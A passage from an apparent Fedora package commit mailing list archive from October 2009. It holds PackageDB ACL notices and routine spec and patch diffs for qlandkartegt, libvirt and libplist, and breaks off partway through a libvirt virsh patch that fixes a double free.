Subject: [pkgdb] inkscape had acl change status
Message-ID: <20091029100501.13D3910F89C@bastion2.fedora.phx.redhat.com>

lkundrak has set the watchcommits acl on inkscape (Fedora devel) to Approved for wtogami

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From pkgdb at fedoraproject.org  Thu Oct 29 10:05:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:05:03 +0000
Subject: [pkgdb] inkscape had acl change status
Message-ID: <20091029100503.9CAA110F89D@bastion2.fedora.phx.redhat.com>

lkundrak has set the watchbugzilla acl on inkscape (Fedora devel) to Approved for wtogami

To make changes to this package see:
  /pkgdb/packages/name/inkscape



From sharkcz at fedoraproject.org  Thu Oct 29 10:05:56 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Thu, 29 Oct 2009 10:05:56 +0000 (UTC)
Subject: rpms/qlandkartegt/F-11 qlandkartegt-0.16.0-nogtkstyle.patch, NONE, 
	1.1 .cvsignore, 1.11, 1.12 qlandkartegt.spec, 1.11, 1.12 sources,
	1.11, 1.12 qlandkartegt-0.14.1-nogtkstyle.patch, 1.1, NONE
Message-ID: <20091029100556.5827211C008B@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/qlandkartegt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29311

Modified Files:
	.cvsignore qlandkartegt.spec sources 
Added Files:
	qlandkartegt-0.16.0-nogtkstyle.patch 
Removed Files:
	qlandkartegt-0.14.1-nogtkstyle.patch 
Log Message:
* Thu oct 29 2009 Dan Hor?k <dan[at]danny.cz> 0.16.0-1
- update to 0.16.0


qlandkartegt-0.16.0-nogtkstyle.patch:
 main.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE qlandkartegt-0.16.0-nogtkstyle.patch ---
diff -Nrup qlandkartegt-0.16.0.orig/src/main.cpp qlandkartegt-0.16.0/src/main.cpp
--- qlandkartegt-0.16.0.orig/src/main.cpp	2009-10-26 22:19:47.000000000 +0100
+++ qlandkartegt-0.16.0/src/main.cpp	2009-10-27 09:40:14.000000000 +0100
@@ -61,6 +61,7 @@ int main(int argc, char ** argv)
 #ifndef WIN32
     setenv("LC_NUMERIC","C",1);
 #endif
+    QApplication::setStyle("cleanlooks");
     QApplication theApp(argc,argv);
 
 #ifdef ENABLE_TRANSLATION


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/F-11/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	21 Sep 2009 06:44:46 -0000	1.11
+++ .cvsignore	29 Oct 2009 10:05:56 -0000	1.12
@@ -1 +1 @@
-qlandkartegt-0.15.1.tar.gz
+qlandkartegt-0.16.0.tar.gz


Index: qlandkartegt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/F-11/qlandkartegt.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- qlandkartegt.spec	21 Sep 2009 06:44:46 -0000	1.11
+++ qlandkartegt.spec	29 Oct 2009 10:05:56 -0000	1.12
@@ -1,5 +1,5 @@
 Name: qlandkartegt
-Version: 0.15.1
+Version: 0.16.0
 Release: 1%{?dist}
 Summary: GPS device mapping tool
 
@@ -8,7 +8,7 @@ License: GPLv2+
 URL: http://www.qlandkarte.org/
 Source0: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
 # temporary fix until http://bugzilla.redhat.com/show_bug.cgi?id=498111 is resolved
-Patch0: %{name}-0.14.1-nogtkstyle.patch
+Patch0: %{name}-0.16.0-nogtkstyle.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: garmindev(interface) = 1.16
 
@@ -72,6 +72,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu oct 29 2009 Dan Hor?k <dan[at]danny.cz> 0.16.0-1
+- update to 0.16.0
+
 * Sat Sep 19 2009 Dan Hor?k <dan[at]danny.cz> 0.15.1-1
 - update to 0.15.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/F-11/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	21 Sep 2009 06:44:46 -0000	1.11
+++ sources	29 Oct 2009 10:05:56 -0000	1.12
@@ -1 +1 @@
-da0a44b980280a5c7c006f64363b8f67  qlandkartegt-0.15.1.tar.gz
+9af694894fe74c3f64971fcfc4055bbf  qlandkartegt-0.16.0.tar.gz


--- qlandkartegt-0.14.1-nogtkstyle.patch DELETED ---



From sharkcz at fedoraproject.org  Thu Oct 29 10:07:09 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Thu, 29 Oct 2009 10:07:09 +0000 (UTC)
Subject: rpms/qlandkartegt/F-11 qlandkartegt.spec,1.12,1.13
Message-ID: <20091029100709.95A4711C008B@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/qlandkartegt/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29706

Modified Files:
	qlandkartegt.spec 
Log Message:
fix date in changelog


Index: qlandkartegt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/F-11/qlandkartegt.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- qlandkartegt.spec	29 Oct 2009 10:05:56 -0000	1.12
+++ qlandkartegt.spec	29 Oct 2009 10:07:09 -0000	1.13
@@ -72,7 +72,7 @@ rm -rf %{buildroot}
 
 
 %changelog
-* Thu oct 29 2009 Dan Hor?k <dan[at]danny.cz> 0.16.0-1
+* Thu Oct 29 2009 Dan Hor?k <dan[at]danny.cz> 0.16.0-1
 - update to 0.16.0
 
 * Sat Sep 19 2009 Dan Hor?k <dan[at]danny.cz> 0.15.1-1



From sharkcz at fedoraproject.org  Thu Oct 29 10:09:28 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Thu, 29 Oct 2009 10:09:28 +0000 (UTC)
Subject: rpms/qlandkartegt/F-10 qlandkartegt-0.16.0-nogtkstyle.patch, NONE, 
	1.1 .cvsignore, 1.11, 1.12 qlandkartegt.spec, 1.10, 1.11 sources,
	1.11, 1.12 qlandkartegt-0.14.1-nogtkstyle.patch, 1.1, NONE
Message-ID: <20091029100928.B7CD711C008B@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/qlandkartegt/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30439

Modified Files:
	.cvsignore qlandkartegt.spec sources 
Added Files:
	qlandkartegt-0.16.0-nogtkstyle.patch 
Removed Files:
	qlandkartegt-0.14.1-nogtkstyle.patch 
Log Message:
* Thu Oct 29 2009 Dan Hor?k <dan[at]danny.cz> 0.16.0-1
- update to 0.16.0


qlandkartegt-0.16.0-nogtkstyle.patch:
 main.cpp |    1 +
 1 file changed, 1 insertion(+)

--- NEW FILE qlandkartegt-0.16.0-nogtkstyle.patch ---
diff -Nrup qlandkartegt-0.16.0.orig/src/main.cpp qlandkartegt-0.16.0/src/main.cpp
--- qlandkartegt-0.16.0.orig/src/main.cpp	2009-10-26 22:19:47.000000000 +0100
+++ qlandkartegt-0.16.0/src/main.cpp	2009-10-27 09:40:14.000000000 +0100
@@ -61,6 +61,7 @@ int main(int argc, char ** argv)
 #ifndef WIN32
     setenv("LC_NUMERIC","C",1);
 #endif
+    QApplication::setStyle("cleanlooks");
     QApplication theApp(argc,argv);
 
 #ifdef ENABLE_TRANSLATION


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/F-10/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	21 Sep 2009 07:03:18 -0000	1.11
+++ .cvsignore	29 Oct 2009 10:09:28 -0000	1.12
@@ -1 +1 @@
-qlandkartegt-0.15.1.tar.gz
+qlandkartegt-0.16.0.tar.gz


Index: qlandkartegt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/F-10/qlandkartegt.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- qlandkartegt.spec	21 Sep 2009 07:03:19 -0000	1.10
+++ qlandkartegt.spec	29 Oct 2009 10:09:28 -0000	1.11
@@ -1,5 +1,5 @@
 Name: qlandkartegt
-Version: 0.15.1
+Version: 0.16.0
 Release: 1%{?dist}
 Summary: GPS device mapping tool
 
@@ -8,7 +8,7 @@ License: GPLv2+
 URL: http://www.qlandkarte.org/
 Source0: http://downloads.sourceforge.net/%{name}/%{name}-%{version}.tar.gz
 # temporary fix until http://bugzilla.redhat.com/show_bug.cgi?id=498111 is resolved
-Patch0: %{name}-0.14.1-nogtkstyle.patch
+Patch0: %{name}-0.16.0-nogtkstyle.patch
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Requires: garmindev(interface) = 1.16
 
@@ -72,6 +72,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Thu Oct 29 2009 Dan Hor?k <dan[at]danny.cz> 0.16.0-1
+- update to 0.16.0
+
 * Sat Sep 19 2009 Dan Hor?k <dan[at]danny.cz> 0.15.1-1
 - update to 0.15.1
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qlandkartegt/F-10/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	21 Sep 2009 07:03:19 -0000	1.11
+++ sources	29 Oct 2009 10:09:28 -0000	1.12
@@ -1 +1 @@
-da0a44b980280a5c7c006f64363b8f67  qlandkartegt-0.15.1.tar.gz
+9af694894fe74c3f64971fcfc4055bbf  qlandkartegt-0.16.0.tar.gz


--- qlandkartegt-0.14.1-nogtkstyle.patch DELETED ---



From pkgdb at fedoraproject.org  Thu Oct 29 10:12:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:12:32 +0000
Subject: [pkgdb] pmount had acl change status
Message-ID: <20091029101232.4890D10F87E@bastion2.fedora.phx.redhat.com>

kasal has set the watchbugzilla acl on pmount (Fedora devel) to Approved for agk

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Thu Oct 29 10:12:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:12:32 +0000
Subject: [pkgdb] pmount had acl change status
Message-ID: <20091029101233.0C6EA10F89A@bastion2.fedora.phx.redhat.com>

kasal has set the watchcommits acl on pmount (Fedora devel) to Approved for agk

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Thu Oct 29 10:12:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:12:43 +0000
Subject: [pkgdb] pmount had acl change status
Message-ID: <20091029101243.4E6EA10F87E@bastion2.fedora.phx.redhat.com>

kasal has set the watchcommits acl on pmount (Fedora 11) to Approved for agk

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Thu Oct 29 10:12:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:12:45 +0000
Subject: [pkgdb] pmount had acl change status
Message-ID: <20091029101245.80BBC10F89A@bastion2.fedora.phx.redhat.com>

kasal has set the watchbugzilla acl on pmount (Fedora 11) to Approved for agk

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Thu Oct 29 10:12:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:12:49 +0000
Subject: [pkgdb] pmount had acl change status
Message-ID: <20091029101249.1801F10F87F@bastion2.fedora.phx.redhat.com>

kasal has set the watchbugzilla acl on pmount (Fedora 12) to Approved for agk

To make changes to this package see:
  /pkgdb/packages/name/pmount



From pkgdb at fedoraproject.org  Thu Oct 29 10:12:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 29 Oct 2009 10:12:50 +0000
Subject: [pkgdb] pmount had acl change status
Message-ID: <20091029101250.23C2A10F8A8@bastion2.fedora.phx.redhat.com>

kasal has set the watchcommits acl on pmount (Fedora 12) to Approved for agk

To make changes to this package see:
  /pkgdb/packages/name/pmount



From markmc at fedoraproject.org  Thu Oct 29 10:14:00 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu, 29 Oct 2009 10:14:00 +0000 (UTC)
Subject: rpms/libvirt/F-12 libvirt.spec,1.192,1.193
Message-ID: <20091029101400.EE6AC11C008B@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31610

Modified Files:
	libvirt.spec 
Log Message:
* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-14
- Make libvirt-devel require libvirt-client, not libvirt



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/F-12/libvirt.spec,v
retrieving revision 1.192
retrieving revision 1.193
diff -u -p -r1.192 -r1.193
--- libvirt.spec	19 Oct 2009 10:14:07 -0000	1.192
+++ libvirt.spec	29 Oct 2009 10:14:00 -0000	1.193
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.1
-Release: 13%{?dist}%{?extra_release}
+Release: 14%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -388,7 +388,7 @@ virtualization capabilities of recent ve
 %package devel
 Summary: Libraries, includes, etc. to compile with the libvirt library
 Group: Development/Libraries
-Requires: libvirt = %{version}-%{release}
+Requires: libvirt-client = %{version}-%{release}
 Requires: pkgconfig
 %if %{with_xen}
 Requires: xen-devel
@@ -827,6 +827,9 @@ fi
 %endif
 
 %changelog
+* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-14
+- Make libvirt-devel require libvirt-client, not libvirt
+
 * Mon Oct 19 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-13
 - Misc fixes to qemu machine types handling
 - A couple of XML formatting fixes



From markmc at fedoraproject.org  Thu Oct 29 10:15:23 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu, 29 Oct 2009 10:15:23 +0000 (UTC)
Subject: rpms/libvirt/devel libvirt.spec,1.192,1.193
Message-ID: <20091029101523.AF73E11C008B@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31915

Modified Files:
	libvirt.spec 
Log Message:
* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.2-2
- Make libvirt-devel require libvirt-client, not libvirt



Index: libvirt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libvirt/devel/libvirt.spec,v
retrieving revision 1.192
retrieving revision 1.193
diff -u -p -r1.192 -r1.193
--- libvirt.spec	14 Oct 2009 13:03:31 -0000	1.192
+++ libvirt.spec	29 Oct 2009 10:15:23 -0000	1.193
@@ -151,7 +151,7 @@
 Summary: Library providing a simple API virtualization
 Name: libvirt
 Version: 0.7.2
-Release: 1%{?dist}%{?extra_release}
+Release: 2%{?dist}%{?extra_release}
 License: LGPLv2+
 Group: Development/Libraries
 Source: http://libvirt.org/sources/libvirt-%{version}.tar.gz
@@ -341,7 +341,7 @@ virtualization capabilities of recent ve
 %package devel
 Summary: Libraries, includes, etc. to compile with the libvirt library
 Group: Development/Libraries
-Requires: libvirt = %{version}-%{release}
+Requires: libvirt-client = %{version}-%{release}
 Requires: pkgconfig
 %if %{with_xen}
 Requires: xen-devel
@@ -778,6 +778,9 @@ fi
 %endif
 
 %changelog
+* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.2-2
+- Make libvirt-devel require libvirt-client, not libvirt
+
 * Wed Oct 14 2009 Daniel Veillard <veillard at redhat.com> - 0.7.2-1
 - Upstream release of 0.7.2
 - Allow to define ESX domains



From pbrobinson at fedoraproject.org  Thu Oct 29 10:17:02 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Thu, 29 Oct 2009 10:17:02 +0000 (UTC)
Subject: rpms/libplist/devel libplist.spec,1.5,1.6
Message-ID: <20091029101702.CCC9E11C008B@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/libplist/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32364

Modified Files:
	libplist.spec 
Log Message:
- Add python patch and c++ bindings


Index: libplist.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libplist/devel/libplist.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- libplist.spec	29 Oct 2009 08:34:05 -0000	1.5
+++ libplist.spec	29 Oct 2009 10:17:02 -0000	1.6
@@ -2,7 +2,7 @@
 
 Name:           libplist
 Version:        0.16
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Library for manipulating Apple Binary and XML Property Lists
 
 Group:          System Environment/Libraries
@@ -10,6 +10,7 @@ License:        LGPLv2+
 URL:            http://matt.colyer.name/projects/iphone-linux/
 
 Source0:        http://cloud.github.com/downloads/JonathanBeck/%{name}/%{name}-%{version}.tar.bz2
+Patch0:		libplist-0.16-fix-python-lib-path.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires: libxml2-devel
@@ -41,6 +42,7 @@ Requires: python
 
 %prep
 %setup -q
+%patch0 -p1 -b .fixpython
 
 %build
 export CMAKE_PREFIX_PATH=/usr
@@ -53,10 +55,6 @@ export CMAKE_PREFIX_PATH=/usr
 rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 
-# move python bindings to proper location
-%{__mkdir} -pm 755 $RPM_BUILD_ROOT%{python_sitearch}
-%{__mv} $RPM_BUILD_ROOT%{_libdir}/python/site-packages/libplist $RPM_BUILD_ROOT%{python_sitearch}
-
 %clean
 rm -rf $RPM_BUILD_ROOT
 
@@ -68,14 +66,18 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING.LESSER README
 %{_bindir}/plutil
-%{_bindir}/plutil-0.13
+%{_bindir}/plutil-%{version}
 %{_libdir}/libplist.so.0
-%{_libdir}/libplist.so.0.0.13
+%{_libdir}/libplist.so.0.0.16
+%{_libdir}/libplist++.so.0
+%{_libdir}/libplist++.so.0.0.16
 
 %files devel
 %defattr(-,root,root,-)
 %{_libdir}/pkgconfig/libplist.pc
+%{_libdir}/pkgconfig/libplist++.pc
 %{_libdir}/libplist.so
+%{_libdir}/libplist++.so
 %{_includedir}/plist
 
 %files python
@@ -83,6 +85,9 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitearch}/libplist
 
 %changelog
+* Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.16-2
+- Add python patch and c++ bindings
+
 * Thu Oct 29 2009 Peter Robinson <pbrobinson at gmail.com> 0.16-1
 - New upstream 0.16 release
 



From markmc at fedoraproject.org  Thu Oct 29 10:40:46 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Thu, 29 Oct 2009 10:40:46 +0000 (UTC)
Subject: rpms/libvirt/F-12 libvirt-double-free-on-virsh-error.patch, NONE,
	1.1 libvirt-fix-crash-on-device-hotplug-parse-error.patch, NONE,
	1.1 libvirt-fix-crash-on-missing-iface-target-dev.patch, NONE,
	1.1 libvirt-fix-xen-driver-refcounting.patch, NONE,
	1.1 libvirt.spec, 1.193, 1.194
Message-ID: <20091029104046.290DB11C0380@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7561

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-double-free-on-virsh-error.patch 
	libvirt-fix-crash-on-device-hotplug-parse-error.patch 
	libvirt-fix-crash-on-missing-iface-target-dev.patch 
	libvirt-fix-xen-driver-refcounting.patch 
Log Message:
* Thu Oct 29 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-14
- Fix xen driver recounting (#531429)
- Fix crash on virsh error (#531429)
- Fix segfault where XML parsing fails in qemu disk hotplug
- Fix segfault where interface target device name is ommitted (#523418)


libvirt-double-free-on-virsh-error.patch:
 virsh.c |  516 ++++++++++++++++++++++++++++++----------------------------------
 1 file changed, 246 insertions(+), 270 deletions(-)

--- NEW FILE libvirt-double-free-on-virsh-error.patch ---
>From 4eca48753dfa5f584fb22d133145a24f9146d389 Mon Sep 17 00:00:00 2001
From: Jim Fehlig <jfehlig at novell.com>
Date: Tue, 29 Sep 2009 13:42:42 +0200
Subject: [PATCH] Avoid double free in errors in virsh

* tools/virsh.c: it was possible to get vshDeinit to call itself back
  via vshError, remove the doexit parameter of vshError to avoid the
  possibility and make sure to exit directly after in those case.

(cherry picked from commit 1caa19cb0667233e9775d9d860c4766151542d23)

Fedora-patch: libvirt-double-free-on-virsh-error.patch
---
 src/virsh.c |  515 ++++++++++++++++++++++++++++-------------------------------
 1 files changed, 246 insertions(+), 269 deletions(-)

diff --git a/src/virsh.c b/src/virsh.c
index 4825f1c..3482389 100644
--- a/src/virsh.c
+++ b/src/virsh.c
@@ -202,8 +202,8 @@ typedef struct __vshControl {
 
 static const vshCmdDef commands[];
 
-static void vshError(vshControl *ctl, int doexit, const char *format, ...)
-    ATTRIBUTE_FMT_PRINTF(3, 4);
+static void vshError(vshControl *ctl, const char *format, ...)
+    ATTRIBUTE_FMT_PRINTF(2, 3);
 static int vshInit(vshControl *ctl);
 static int vshDeinit(vshControl *ctl);
 static void vshUsage(void);
@@ -351,11 +351,11 @@ virshReportError(vshControl *ctl)
         return;
 
     if (last_error->code == VIR_ERR_OK) {
-        vshError(ctl, FALSE, "%s", _("unknown error"));
+        vshError(ctl, "%s", _("unknown error"));
         goto out;
     }
 
-    vshError(ctl, FALSE, "%s", last_error->message);
+    vshError(ctl, "%s", last_error->message);
 
 out:
     virFreeError(last_error);
@@ -433,11 +433,9 @@ cmdAutostart(vshControl *ctl, const vshCmd *cmd)
 
     if (virDomainSetAutostart(dom, autostart) < 0) {
         if (autostart)
-            vshError(ctl, FALSE, _("Failed to mark domain %s as autostarted"),
-                     name);
+            vshError(ctl, _("Failed to mark domain %s as autostarted"), name);
         else
-            vshError(ctl, FALSE, _("Failed to unmark domain %s as autostarted"),
-                     name);
+            vshError(ctl, _("Failed to unmark domain %s as autostarted"), name);
         virDomainFree(dom);
         return FALSE;
     }
@@ -474,8 +472,7 @@ cmdConnect(vshControl *ctl, const vshCmd *cmd)
 
     if (ctl->conn) {
         if (virConnectClose(ctl->conn) != 0) {
-            vshError(ctl, FALSE, "%s",
-                     _("Failed to disconnect from the hypervisor"));
+            vshError(ctl, "%s", _("Failed to disconnect from the hypervisor"));
             return FALSE;
         }
         ctl->conn = NULL;
@@ -494,7 +491,7 @@ cmdConnect(vshControl *ctl, const vshCmd *cmd)
                                    ctl->readonly ? VIR_CONNECT_RO : 0);
 
     if (!ctl->conn)
-        vshError(ctl, FALSE, "%s", _("Failed to connect to the hypervisor"));
+        vshError(ctl, "%s", _("Failed to connect to the hypervisor"));
 
     return ctl->conn ? TRUE : FALSE;
 }
@@ -528,17 +525,17 @@ cmdRunConsole(vshControl *ctl, virDomainPtr dom)
     char *thisHost = NULL;
 
     if (!(thisHost = virGetHostname())) {
-        vshError(ctl, FALSE, "%s", _("Failed to get local hostname"));
+        vshError(ctl, "%s", _("Failed to get local hostname"));
         goto cleanup;
     }
 
     if (!(thatHost = virConnectGetHostname(ctl->conn))) {
-        vshError(ctl, FALSE, "%s", _("Failed to get connection hostname"));
+        vshError(ctl, "%s", _("Failed to get connection hostname"));
         goto cleanup;
     }
 
     if (STRNEQ(thisHost, thatHost)) {
-        vshError(ctl, FALSE, "%s", _("Cannot connect to a remote console device"));
+        vshError(ctl, "%s", _("Cannot connect to a remote console device"));
         goto cleanup;
     }
 
@@ -632,14 +629,14 @@ cmdList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     if (active) {
         maxid = virConnectNumOfDomains(ctl->conn);
         if (maxid < 0) {
-            vshError(ctl, FALSE, "%s", _("Failed to list active domains"));
+            vshError(ctl, "%s", _("Failed to list active domains"));
             return FALSE;
         }
         if (maxid) {
             ids = vshMalloc(ctl, sizeof(int) * maxid);
 
             if ((maxid = virConnectListDomains(ctl->conn, &ids[0], maxid)) < 0) {
-                vshError(ctl, FALSE, "%s", _("Failed to list active domains"));
+                vshError(ctl, "%s", _("Failed to list active domains"));
                 free(ids);
                 return FALSE;
             }
@@ -650,7 +647,7 @@ cmdList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
     if (inactive) {
         maxname = virConnectNumOfDefinedDomains(ctl->conn);
         if (maxname < 0) {
-            vshError(ctl, FALSE, "%s", _("Failed to list inactive domains"));
+            vshError(ctl, "%s", _("Failed to list inactive domains"));
             free(ids);
             return FALSE;
         }
@@ -658,7 +655,7 @@ cmdList(vshControl *ctl, const vshCmd *cmd ATTRIBUTE_UNUSED)
             names = vshMalloc(ctl, sizeof(char *) * maxname);
 
             if ((maxname = virConnectListDefinedDomains(ctl->conn, names, maxname)) < 0) {
-                vshError(ctl, FALSE, "%s", _("Failed to list inactive domains"));
+                vshError(ctl, "%s", _("Failed to list inactive domains"));
                 free(ids);
                 free(names);
                 return FALSE;
@@ -786,8 +783,7 @@ cmdDomblkstat (vshControl *ctl, const vshCmd *cmd)
     }
 
     if (virDomainBlockStats (dom, device, &stats, sizeof stats) == -1) {
-        vshError (ctl, FALSE, _("Failed to get block stats %s %s"),
-                  name, device);
+        vshError(ctl, _("Failed to get block stats %s %s"), name, device);
         virDomainFree(dom);
         return FALSE;
     }
@@ -844,8 +840,7 @@ cmdDomIfstat (vshControl *ctl, const vshCmd *cmd)
     }
 
     if (virDomainInterfaceStats (dom, device, &stats, sizeof stats) == -1) {
-        vshError (ctl, FALSE, _("Failed to get interface stats %s %s"),
-                  name, device);
+        vshError(ctl, _("Failed to get interface stats %s %s"), name, device);
         virDomainFree(dom);
         return FALSE;
     }
@@ -908,7 +903,7 @@ cmdSuspend(vshControl *ctl, const vshCmd *cmd)
     if (virDomainSuspend(dom) == 0) {
         vshPrint(ctl, _("Domain %s suspended\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to suspend domain %s"), name);
+        vshError(ctl, _("Failed to suspend domain %s"), name);
         ret = FALSE;
     }
 
@@ -967,7 +962,7 @@ cmdCreate(vshControl *ctl, const vshCmd *cmd)
 #endif
         virDomainFree(dom);
     } else {
-        vshError(ctl, FALSE, _("Failed to create domain from %s"), from);
+        vshError(ctl, _("Failed to create domain from %s"), from);
         ret = FALSE;
     }
     return ret;
@@ -1014,7 +1009,7 @@ cmdDefine(vshControl *ctl, const vshCmd *cmd)
                  virDomainGetName(dom), from);
         virDomainFree(dom);
     } else {
-        vshError(ctl, FALSE, _("Failed to define domain from %s"), from);
+        vshError(ctl, _("Failed to define domain from %s"), from);
         ret = FALSE;
     }
     return ret;
@@ -1052,9 +1047,11 @@ cmdUndefine(vshControl *ctl, const vshCmd *cmd)
 
     if (name && virStrToLong_i(name, NULL, 10, &id) == 0
         && id >= 0 && (dom = virDomainLookupByID(ctl->conn, id))) {
-        vshError(ctl, FALSE, _("a running domain like %s cannot be undefined;\n"
-                               "to undefine, first shutdown then undefine"
-                               " using its name or UUID"), name);
+        vshError(ctl,
+                 _("a running domain like %s cannot be undefined;\n"
+                   "to undefine, first shutdown then undefine"
+                   " using its name or UUID"),
+                 name);
         virDomainFree(dom);
         return FALSE;
     }
@@ -1065,7 +1062,7 @@ cmdUndefine(vshControl *ctl, const vshCmd *cmd)
     if (virDomainUndefine(dom) == 0) {
         vshPrint(ctl, _("Domain %s has been undefined\n"), name);
     } else {
-        vshError(ctl, FALSE, _("Failed to undefine domain %s"), name);
+        vshError(ctl, _("Failed to undefine domain %s"), name);
         ret = FALSE;
     }
 
@@ -1107,7 +1104,7 @@ cmdStart(vshControl *ctl, const vshCmd *cmd)
         return FALSE;
 
     if (virDomainGetID(dom) != (unsigned int)-1) {
-        vshError(ctl, FALSE, "%s", _("Domain is already active"));
+        vshError(ctl, "%s", _("Domain is already active"));
         virDomainFree(dom);
         return FALSE;
     }
@@ -1120,8 +1117,7 @@ cmdStart(vshControl *ctl, const vshCmd *cmd)
             cmdRunConsole(ctl, dom);
 #endif
     } else {
-        vshError(ctl, FALSE, _("Failed to start domain %s"),
-                 virDomainGetName(dom));
+        vshError(ctl, _("Failed to start domain %s"), virDomainGetName(dom));
         ret = FALSE;
     }
     virDomainFree(dom);
@@ -1163,7 +1159,7 @@ cmdSave(vshControl *ctl, const vshCmd *cmd)
     if (virDomainSave(dom, to) == 0) {
         vshPrint(ctl, _("Domain %s saved to %s\n"), name, to);
     } else {
-        vshError(ctl, FALSE, _("Failed to save domain %s to %s"), name, to);
+        vshError(ctl, _("Failed to save domain %s to %s"), name, to);
         ret = FALSE;
     }
 
@@ -1202,7 +1198,7 @@ cmdSchedInfoUpdate(vshControl *ctl, const vshCmd *cmd,
         int val;
         val = vshCommandOptInt(cmd, "weight", &found);
         if (!found) {
-            vshError(ctl, FALSE, "%s", _("Invalid value of weight"));
